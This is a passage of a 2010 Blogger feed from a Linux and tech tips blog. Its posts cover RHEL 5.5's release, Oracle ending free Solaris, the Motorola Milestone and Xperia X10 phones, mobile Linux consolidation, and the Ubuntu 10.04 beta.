href='http://akki4tips.blogspot.com/2010/04/lock-folder-without-any-software.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/691290369805681643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/691290369805681643'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/04/lock-folder-without-any-software.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-1812552180291318188</id><published>2010-03-31T05:07:00.000-07:00</published><updated>2010-03-31T05:07:38.156-07:00</updated><title type='text'></title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;span style="color: red; font-size: x-large;"&gt;&lt;b&gt;REDHAT 5.5 RELEASED&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lIWj8wefYIs/S7M6SEgT4oI/AAAAAAAAAD8/KdBK1QWoJxs/s1600/redhat-small.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_lIWj8wefYIs/S7M6SEgT4oI/AAAAAAAAAD8/KdBK1QWoJxs/s320/redhat-small.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://distrowatch.com/redhat"&gt;&lt;img align="middle" alt="Red Hat Enterprise Linux" border="0" src="http://distrowatch.com/images/icon-large/redhat.png" title="Red Hat Enterprise Linux" /&gt;&lt;/a&gt;         Red Hat, Inc. has  announced the release of &lt;a href="http://distrowatch.com/redhat"&gt;Red Hat&lt;/a&gt;  Enterprise Linux (RHEL) 5.5, the fifth update of its commercial,  enterprise-class Linux distribution: "&lt;span class="Quote"&gt;Red Hat is  pleased to announce the availability of the latest update to Red Hat  Enterprise Linux 5, release 5.5. Highlights of the release include  hardware enablement for the Intel Boxboro-EX platform, AMD Magny-Cours  processor and IBM Power 7 processor. Virtualization is improved, with  support for multiple 10 GigE SR-IOV cards, and automatic usage of  hugepages for virtual guest memory when enabled on the system.  Interoperability improvements include updates to OpenOffice.org for  Microsoft Office 2007 filters, Samba for Windows 7 compatibility and  boot support for virtual machines using Microsoft-based PXE services.&lt;/span&gt;"  See the &lt;a href="https://www.redhat.com/archives/rhelv5-announce/2010-March/msg00000.html"&gt;release  announcement&lt;/a&gt;, &lt;a href="http://www.redhat.com/about/news/prarchive/2010/rhel-55.html"&gt;press  release&lt;/a&gt; and &lt;a href="http://www.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5.5/html/Release_Notes/"&gt;release  notes&lt;/a&gt; for a detailed list of changes and improvements. Installation  ISO images for RHEL 5.5 are available to existing subscribers via &lt;a href="https://rhn.redhat.com/"&gt;Red Hat Networks&lt;/a&gt;, while new customers  can download a 30-day trial edition from &lt;a href="http://www.redhat.com/rhel/details/eval/"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-1812552180291318188?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/1812552180291318188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/redhat-5.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1812552180291318188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1812552180291318188'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/redhat-5.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lIWj8wefYIs/S7M6SEgT4oI/AAAAAAAAAD8/KdBK1QWoJxs/s72-c/redhat-small.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-7074352313493420592</id><published>2010-03-31T05:02:00.001-07:00</published><updated>2010-03-31T05:02:45.225-07:00</updated><title type='text'></title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;meta content="text/html; charset=utf-8" http-equiv="Content-Type"&gt;&lt;/meta&gt;&lt;meta content="Word.Document" name="ProgId"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Generator"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Originator"&gt;&lt;/meta&gt;&lt;link href="file:///C:%5CDOCUME%7E1%5CCorPSE%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml" rel="File-List"&gt;&lt;/link&gt;&lt;style&gt;&lt;!-- /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal	{mso-style-parent:"";	margin:0in;	margin-bottom:.0001pt;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:"Times New Roman";	mso-fareast-font-family:"Times New Roman";}h1	{mso-margin-top-alt:auto;	margin-right:0in;	mso-margin-bottom-alt:auto;	margin-left:0in;	mso-pagination:widow-orphan;	mso-outline-level:1;	font-size:24.0pt;	font-family:"Times New Roman";}span.ilad	{mso-style-name:il_ad;}@page Section1	{size:8.5in 11.0in;	margin:1.0in 1.25in 1.0in 1.25in;	mso-header-margin:.5in;	mso-footer-margin:.5in;	mso-paper-source:0;}div.Section1	{page:Section1;}--&gt;&lt;/style&gt;  &lt;/div&gt;&lt;h1&gt;&lt;span style="color: red; font-size: x-large;"&gt;Solaris No More Free, Open Solaris May Die&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;&lt;span style="font-size: 12pt;"&gt;Good &lt;span class="ilad"&gt;&lt;span id="IL_AD4"&gt;Oracle&lt;/span&gt;&lt;/span&gt; has started &lt;span class="ilad"&gt;&lt;span id="IL_AD5"&gt;closing the&lt;/span&gt;&lt;/span&gt; 'free as in beer' shops of &lt;span class="ilad"&gt;&lt;span id="IL_AD6"&gt;Sun Microsystem&lt;/span&gt;&lt;/span&gt;. According to reports the free &lt;span class="ilad"&gt;&lt;span id="IL_AD3"&gt;Solaris operating system&lt;/span&gt;&lt;/span&gt; is no longer free of cost.&lt;br /&gt;&lt;br /&gt;Rebranded Oracle Solaris operating system, the UNIX OS will now be available for a 90 days &lt;span class="ilad"&gt;&lt;span id="IL_AD9"&gt;trial version&lt;/span&gt;&lt;/span&gt; and then users have to pay to buy a licence. Earlier, under Sun, the OS was available for free but users had an option to buy support from Sun. This may seem OK for enterprise customers as cost of OS is miniscule compared to cost of services. &lt;span class="ilad"&gt;&lt;span id="IL_AD7"&gt;Companies&lt;/span&gt;&lt;/span&gt; like Oracle generate extremely thick revenues through services and support.&lt;br /&gt;&lt;br /&gt;But bad news is for the community as Open Solaris has an uncertain future. Oracle has made clear that not all features from Oracle Solaris will be added to Open Solaris. Oracle may not even release the code of most of the new features of Oracle Solaris thus keep an edge over UNIX competitors and community version. While price factor does not matter much, the code factor does matter a lot. &lt;br /&gt;&lt;br /&gt;Closing the code is againts the entire concept of the Free &lt;span class="ilad"&gt;&lt;span id="IL_AD2"&gt;Software&lt;/span&gt;&lt;/span&gt; movement&lt;/span&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-size: 12pt;"&gt;.&lt;br /&gt;&lt;br /&gt;Dan Roberts, director of Solaris &lt;span class="ilad"&gt;&lt;span id="IL_AD8"&gt;product management&lt;/span&gt;&lt;/span&gt; at Oracle had earlier said, "There may be some things we choose not to &lt;span class="ilad"&gt;&lt;span id="IL_AD1"&gt;open source&lt;/span&gt;&lt;/span&gt; going forward, similar to how MySQL manages certain value-add[s] at &lt;span class="ilad"&gt;&lt;span id="IL_AD10"&gt;the top of&lt;/span&gt;&lt;/span&gt; the stack. It's important to understand the plan now is to deliver value again out of our IP investment, while at the same time measuring that with continuing to deliver OpenSolaris in the open."&lt;br /&gt;&lt;br /&gt;Nicole Yankelovich posted a Sun Blog which says,&lt;i&gt; "I know everyone likes to get the bad news over with first, so I'll start with that. We found out on Friday that development resources are no longer being applied to Project Wonderland.&lt;/i&gt;&lt;i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;The good news is that those of us who have worked so hard to bring this project to life still wholeheartedly believe in it. A core group of the Wonderland team intends to keep the project going. We will be pursuing both for-profit and not-for-profit options that will allow us to become a self-sustaining organization. Having anticipated this possible outcome, we already have some promising irons in the fire.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;As a first step in this next phase of the project, we will be releasing a Wonderland v0.5 Preview 3 release early next week.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;There is so much great momentum behind Wonderland. To our knowledge, there are currently three companies offering Wonderland-related products, and eight companies offering Wonderland world-building services. There are countless exciting university projects and a number of corporations that have seen the advantages of Wonderland over other platforms. We are seeing new people posting on the forums almost every day.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Any concrete help you can give us would, of course, be welcome, but what we are asking for now is your moral support and your continued participation in our thriving community. Let's stand together in our determination to keep this project moving forward."&lt;/i&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Peter Tribble&amp;nbsp; wrote on his blog post Oracle's acquisition of Sun that, &lt;i&gt;"After a prolonged wait, Oracle have now completed their takeover of Sun. Late January, they presented their plans for taking Sun's products forward.&lt;/i&gt;&lt;i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;OpenSolaris wasn't even mentioned.If you look carefully, it's on a slide, but that's about it.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;That silence has continued. OpenSolaris has - publicly at least - been completely ignored by Oracle. It's as if we don't exist."&lt;/i&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;What do you think is the future of Open Soure at Oracle?&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-7074352313493420592?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/7074352313493420592/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/solaris-no-more-free-open-solaris-may.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7074352313493420592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7074352313493420592'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/solaris-no-more-free-open-solaris-may.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-2659335808114693784</id><published>2010-03-30T05:11:00.001-07:00</published><updated>2010-03-30T05:11:45.951-07:00</updated><title type='text'></title><content type='html'>&lt;h1 class="title" style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;India's First Android 2.1 Phone&lt;/span&gt;&lt;/h1&gt;&lt;!-- google_ad_section_start --&gt;&lt;!--paging_filter--&gt;  &lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Motorola India today introduced its first Android 2.1-powered phone  christened as MILESTONE. It touts features such as a high-resolution  pinch and zoom display, and a thinner QWERTY slider (13.7mm or 1.37cm).&lt;br /&gt;&lt;br /&gt;The  model comes with a pre-loaded set of apps: a suite of Google mobile  applications including Google Search, Google Maps, Gmail, YouTube, etc.  Users also get access to thousands of apps and widgets from Android  Market. It has a 5 megapixel camera with dual-LED flash, and AutoFocus  and image stabilisation.&lt;br /&gt;&lt;br /&gt;MILESTONE comes preloaded with lifetime  free access to fully voice-guided street-level navigable maps of 401  cities in India. This offers voice-guided navigation and routing in the  cities and across major national and state highways. All the consumer  needs to do is to launch ‘India’ maps from the MOTONAV application to  enjoy an unparalleled navigational experience. The GPS navigation  service is free with no activation or data charges, independent of  mobile networks and can be used even without inserting the SIM card, as  the maps are fully loaded on the MILESTONE.&lt;br /&gt;&lt;br /&gt;“As an Android 2.1  device, MILESTONE does what other smartphones don’t. It was designed to  enhance consumer experiences – and its full screen Web browsing  experience, ability to juggle between multiple apps, and suite of Google  applications, deliver. We have been delighted with the anticipation and  demand for MILESTONE across the world and are pleased to announce its  arrival in India today,” said Faisal Siddiqui, country head, mobile  devices, Motorola India.&lt;br /&gt;&lt;br /&gt;&lt;img align="right" alt="" border="3" height="260" hspace="3" src="http://www.katonda.com/sites/default/files/userfiles/image/Mobiles/Motorola/Milestone.jpg" vspace="3" width="336" /&gt;Key MILESTONE features include:&lt;br /&gt;&lt;br /&gt;• 3.7" widescreen  display with 854 pixel width and more than 400,000 total pixels&lt;br /&gt;•  High-speed, cortex A8 processor&lt;br /&gt;• Multi-touch, pinch and zoom, double  tap zoom&lt;br /&gt;• 5 megapixel camera with dual-LED flash&lt;br /&gt;• Motorola  Media Link and Motorola Phone Portal to manage and share media content  across desktop, phone and the Web2&lt;br /&gt;• Stereo Bluetooth / BT 2.1, USB  2.03&lt;br /&gt;• 3.5mm headset jack&lt;br /&gt;• CrystalTalk Plus for superior talk  quality&lt;br /&gt;• 8GB memory card&lt;br /&gt;&lt;br /&gt;MILESTONE will be available in India  at select retails outlets in select cities at an MRP of Rs 32,990.&lt;/div&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;!--paging_filter--&gt; &lt;br style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-2659335808114693784?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/2659335808114693784/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/indias-first-android-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2659335808114693784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2659335808114693784'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/indias-first-android-2.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-5264554685233330051</id><published>2010-03-30T05:09:00.000-07:00</published><updated>2010-03-30T05:09:05.411-07:00</updated><title type='text'></title><content type='html'>&lt;h2 style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;XPERIA X10 Now Available in Hong Kong&lt;/span&gt;&lt;/h2&gt;&lt;div class="tweetmeme_button" style="float: right; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; margin-left: 10px;"&gt;&lt;iframe frameborder="0" height="61" scrolling="no" src="http://api.tweetmeme.com/button.js?url=http%3A%2F%2Fwww.mobileblog.mobile-deals-compared.co.uk%2F2010%2F03%2Fsony-ericsson-phones%2Fxperia-x10-now-available-in-hong-kong.html&amp;amp;style=normal" width="50"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;img alt="Sony Ericsson Xperia X10" class="alignleft size-full wp-image-21875" height="231" src="http://www.mobileblog.mobile-deals-compared.co.uk/wp-content/uploads/2010/03/Sony-Ericsson-Xperia-X10.jpg" title="Sony Ericsson Xperia X10" width="196" /&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;a href="http://www.mobile-deals-compared.co.uk/phones/Sony-Ericsson.html"&gt;Sony  Ericsson&lt;/a&gt;’s first Android smart phone is now available for shipping  from Hong Kong.&lt;br /&gt;&lt;br /&gt;It is not that big a deal considering that by the time the device makes  it to the UK, it will only be a few days ahead of the local launch. But  if you really want to get your hands on the new &lt;a href="http://www.mobile-deals-compared.co.uk/phones/Sony-Ericsson/XPERIA-X3.html"&gt;XPERIA  X10&lt;/a&gt; as soon as possible, then scoot over to online retailer  Play.com’s official website and order the Snapdragon Android smart phone  online.&lt;br /&gt;&lt;br /&gt;This smart phone has taken its sweet time before finally getting  released. Sony Ericsson first announced the device sometime last year as  the SE Rachael. Exact specifications were still scarce but it was  already known that the phone would be an Android device. Later reports  would confirm that it would be part of the XPERIA series, bringing rise  to rumors that it would be using the latest 1GHz processor from  Qualcomm, the Snapdragon CPU and the newer Android 2.0 version.&lt;br /&gt;&lt;br /&gt;It was not until late October that Sony Ericsson finally announced the  specs for the device; it would be named XPERIA X10 (as opposed to X3  which many believed) and that the device would indeed have a 1GHz  Snapdragon CPU but only the 1.6 Donut version of the Android –at that  time, only &lt;a href="http://www.mobile-deals-compared.co.uk/phones/Motorola.html"&gt;Motorola&lt;/a&gt;  had a confirmed 2.0 version of the open source OS.&lt;br /&gt;&lt;br /&gt;Recent reports have confirmed that an update to the latest Android OS  will be available for the SE XPERIA device in order to bring it up to  date with the new standards of Android phones. Aside from its  impressive, high speed CPU, the X10 also comes with a 4 inch OLED touch  screen, an 8 mega pixel camera and of course, support for AGPS,  Bluetooth, WiFi and 3G.&lt;br /&gt;&lt;br /&gt;Learn more about the XPERIA X10 available from Play.com at &lt;a href="http://www.knowyourmobile.com/blog/448591/simfree_sony_ericsson_x10_on_sale_now.html"&gt;Know  Your Mobile&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-5264554685233330051?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/5264554685233330051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/xperia-x10-now-available-in-hong-kong.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5264554685233330051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5264554685233330051'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/xperia-x10-now-available-in-hong-kong.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-405380902666218010</id><published>2010-03-30T05:06:00.001-07:00</published><updated>2010-03-30T05:06:35.492-07:00</updated><title type='text'></title><content type='html'>&lt;meta content="text/html; charset=utf-8" http-equiv="Content-Type"&gt;&lt;/meta&gt;&lt;meta content="Word.Document" name="ProgId"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Generator"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Originator"&gt;&lt;/meta&gt;&lt;link href="file:///C:%5CDOCUME%7E1%5CCorPSE%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml" rel="File-List" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/link&gt;&lt;o:smarttagtype name="place" namespaceuri="urn:schemas-microsoft-com:office:smarttags" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/o:smarttagtype&gt;&lt;style&gt;&lt;!-- /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal	{mso-style-parent:"";	margin:0in;	margin-bottom:.0001pt;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:"Times New Roman";	mso-fareast-font-family:"Times New Roman";}h1	{mso-margin-top-alt:auto;	margin-right:0in;	mso-margin-bottom-alt:auto;	margin-left:0in;	mso-pagination:widow-orphan;	mso-outline-level:1;	font-size:24.0pt;	font-family:"Times New Roman";	font-weight:bold;}p	{mso-margin-top-alt:auto;	margin-right:0in;	mso-margin-bottom-alt:auto;	margin-left:0in;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:"Times New Roman";	mso-fareast-font-family:"Times New Roman";}span.crred	{mso-style-name:cr_red;}@page Section1	{size:8.5in 11.0in;	margin:1.0in 1.25in 1.0in 1.25in;	mso-header-margin:.5in;	mso-footer-margin:.5in;	mso-paper-source:0;}div.Section1	{page:Section1;}--&gt;&lt;/style&gt;  &lt;br /&gt;&lt;h1 style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red; font-size: x-large;"&gt;Reality Check: Making mobile Linux work &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;The variety of Linux-oriented initiatives and activities in the mobile industry, including the recent announcement from Nokia and Intel regarding the formation of MeeGo, clearly reaffirms the fact that Linux will be the technology that underpins a large proportion of next-generation mobile devices. In fact, leading analyst firms predict that between 30-40% of smartphones shipped will be based on Linux by 2015. This column addresses a few key issues pertaining to this growth in mobile Linux including the need for consolidation at the core level of the mobile software stack, the choice of Linux as the technology that will be common across a large array of mobile devices of various form factors and the business models around mobile Linux.&lt;br /&gt;&lt;br /&gt;&lt;span class="crred"&gt;&lt;b&gt;The rationale for consolidation&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The convergence of general computing and embedded computing is giving rise to both challenges and opportunities. There is a need for a common software base that can be used across multiple form factors and in multiple embedded systems in order for the vision of the connected digital world to become reality. Currently, the diversity at the lower level of the software stack is proving to be a waste for the industry due to duplication and inefficiencies – it would therefore, be natural for the common software base to focus on the lower level, non-differentiating parts of the stack. By harmonizing kernels and the Linux layer, OEMs and operators have the opportunity to focus their resources on innovating and differentiating in the software and service areas that matter most – User Interface and User Experience.&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A common core Linux software stack enables semiconductors to easily support multiple distributions, reduces the times to market and bill of materials for OEMs, enables better performance and lowers support costs for all stakeholders. It is also simpler for the users of the core Linux software platform to implement upstreaming to ensure that they are using the latest and most optimized version of code available while setting up a mechanism for bringing innovation created in the open source world into the device platform. The economies of scale that result from leveraging a core Linux stack not only translate into more affordable consumer products but also cheaper tools for testing and integrating software.&lt;br /&gt;&lt;br /&gt;Linux equally stands to play a pivotal role in the converged landscape of online communications, entertainment and information which is leading to the creation of mobile devices of various form factors, including phones, netbooks, tablets, smartbooks, etc. Linux, by virtue of its rich history in the embedded space, its scalability and the large number of APIs it shares with the desktop and enterprise solutions, is positioned as the ideal technology to reside at the foundation of these converged mobile devices. Consolidation at the core Linux base is thus even more crucial in a multi-form factor mobile space not only to realize economies of scale but also to ensure seamless portability of applications and a consistent user experience across multiple screens.&lt;br /&gt;&lt;br /&gt;&lt;span class="crred"&gt;&lt;b&gt;The business perspective&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Currently, the mobile business model is being completely turned on its head, whereby both hardware and software can be obtained for free. This creates the imperative for mobile value chain participants to build value around the free software and hardware. The flexibility and customization capabilities of a common, core Linux platform can be leveraged to develop and deliver entirely new kinds of services on the free hardware and software. &lt;br /&gt;&lt;br /&gt;In today’s extremely competitive mobile marketplace, one way for operators and service providers to stand out and provide unique and differentiating offers is to create their own ecosystems around Linux-based devices and services that leverage a common core platform. By utilizing a common core mobile Linux platform, operators and service providers can integrate their own existing services, or create new services, around the concept of "always on and always-connected" mobile devices. A core Linux base also enables operators and service providers to provide cross-device interoperability so that the same services work together seamlessly across multiple devices. &lt;br /&gt;&lt;br /&gt;&lt;span class="crred"&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;st1:place&gt;Mobile&lt;/st1:place&gt; revenue models are no longer about selling bits but rather about providing services, and a common mobile Linux software foundation will help all participants in the mobile marketplace take part in this service-oriented economy. There are still a few issues that need to be solved before the industry achieves full coordination and consolidation of mobile Linux technologies. Governance, licensing, the availability of high quality, stable releases and tools are some of the factors that will determine how fast and to what extent a common core Linux base is adopted by stakeholders within the mobile industry. The most sensible approach would be to start with a minimal common set and grow the core as the different user environments grow. The platform should be technically, commercially and socially acceptable for stakeholders to adopt and needs to be underpinned by a governance model that appeals to the entire ecosystem. &lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-405380902666218010?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/405380902666218010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/reality-check-making-mobile-linux-work.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/405380902666218010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/405380902666218010'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/reality-check-making-mobile-linux-work.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-6595668360924210774</id><published>2010-03-29T09:07:00.000-07:00</published><updated>2010-03-29T09:07:43.483-07:00</updated><title type='text'></title><content type='html'>&lt;!-- Content --&gt;            &lt;br /&gt;&lt;h2 style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;Ubuntu 10.04 Lucid Lynx Beta Released&lt;/span&gt;&lt;/h2&gt;&lt;a href="http://www.ubuntu.com/testing/lucid/beta1" onclick="javascript:pageTracker._trackPageview('/outbound/article/www.ubuntu.com');"&gt;&lt;img alt="" class="size-full wp-image-1445 aligncenter" height="280" src="http://www.linoob.com/wp-content/uploads/2010/03/homepage-bg.png" title="Ubuntu 10.04 Lucid Lynx " width="444" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So all of you who were waiting like me to see the change&lt;br /&gt;Well part of it is here and it looks awesome …!!!&lt;br /&gt;Finally after a day of actual schedule Ubuntu 10.04 aka Lucid Lynx  Beta 1 is out&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;For those of you who are eager to &lt;a href="http://www.linoob.com/tag/download/" title="download"&gt;download&lt;/a&gt; please follow  the following link&lt;br /&gt;Beta 1 : &lt;a href="http://releases.ubuntu.com/releases/10.04/ubuntu-10.04-beta1-desktop-i386.iso" onclick="javascript:pageTracker._trackPageview('/outbound/article/releases.ubuntu.com');" target="_blank"&gt;Dowload Now&lt;/a&gt; (x86) &amp;nbsp;| &amp;nbsp;&lt;a href="http://releases.ubuntu.com/releases/10.04/ubuntu-10.04-beta1-desktop-amd64.iso" onclick="javascript:pageTracker._trackPageview('/outbound/article/releases.ubuntu.com');" target="_blank"&gt;Download Now&lt;/a&gt; (x64)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 